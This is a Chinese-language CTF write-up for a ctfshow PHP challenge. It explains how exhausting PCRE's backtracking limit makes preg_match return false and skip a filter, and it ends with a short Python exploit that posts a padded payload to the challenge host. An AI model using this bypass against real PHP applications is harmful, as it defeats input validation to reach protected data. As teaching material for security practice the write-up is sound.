源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 05:19:40
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
思路
第一层过滤绕过很简单,什么都不加就好了
但是第二层绕过得加上36D不然就会返回flase,看起来是无解的,我们可以用PRRE回溯来绕过
知识点
常见的正则引擎
- DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
- NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态
由于 NFA 的执行过程存在回溯,所以其性能会劣于 DFA,但它支持更多功能。大多数程序语言都使用了 NFA 作为正则引擎,其中也包括 PHP 使用的 PCRE 库。PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit(100万次),突破这个限制pcre_match就不会返回非 1 和 0,而是 false。
题解
exp
import requests
url="http://17e66580-d7b0-4cf7-a5c7-635cc75c05a4.challenge.ctf.show/"
data={
'f':'kradress'*130000+'36Dctfshow'
}
res=requests.post(url,data=data)
print(res.text)
总结
水题